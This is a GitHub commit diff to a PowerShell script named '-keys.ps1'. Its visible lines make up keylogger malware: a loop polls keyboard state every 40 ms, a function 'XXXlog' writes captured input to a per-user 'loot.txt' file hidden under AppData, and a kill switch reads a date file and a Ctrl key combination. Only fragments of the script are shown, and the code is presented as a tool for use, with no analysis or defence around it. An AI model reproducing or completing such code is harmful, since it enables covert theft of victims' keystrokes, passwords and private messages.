Update -keys.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-25 23:38:37 -06:00 committed by GitHub
parent 91b9e334fb
commit 0bb85db044
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,7 +1,6 @@
Add-Type -AssemblyName WindowsBase
Add-Type -AssemblyName PresentationCore
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
$signatures = @'
@ -26,6 +25,8 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
while ($true) {
Start-Sleep -Milliseconds 40
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}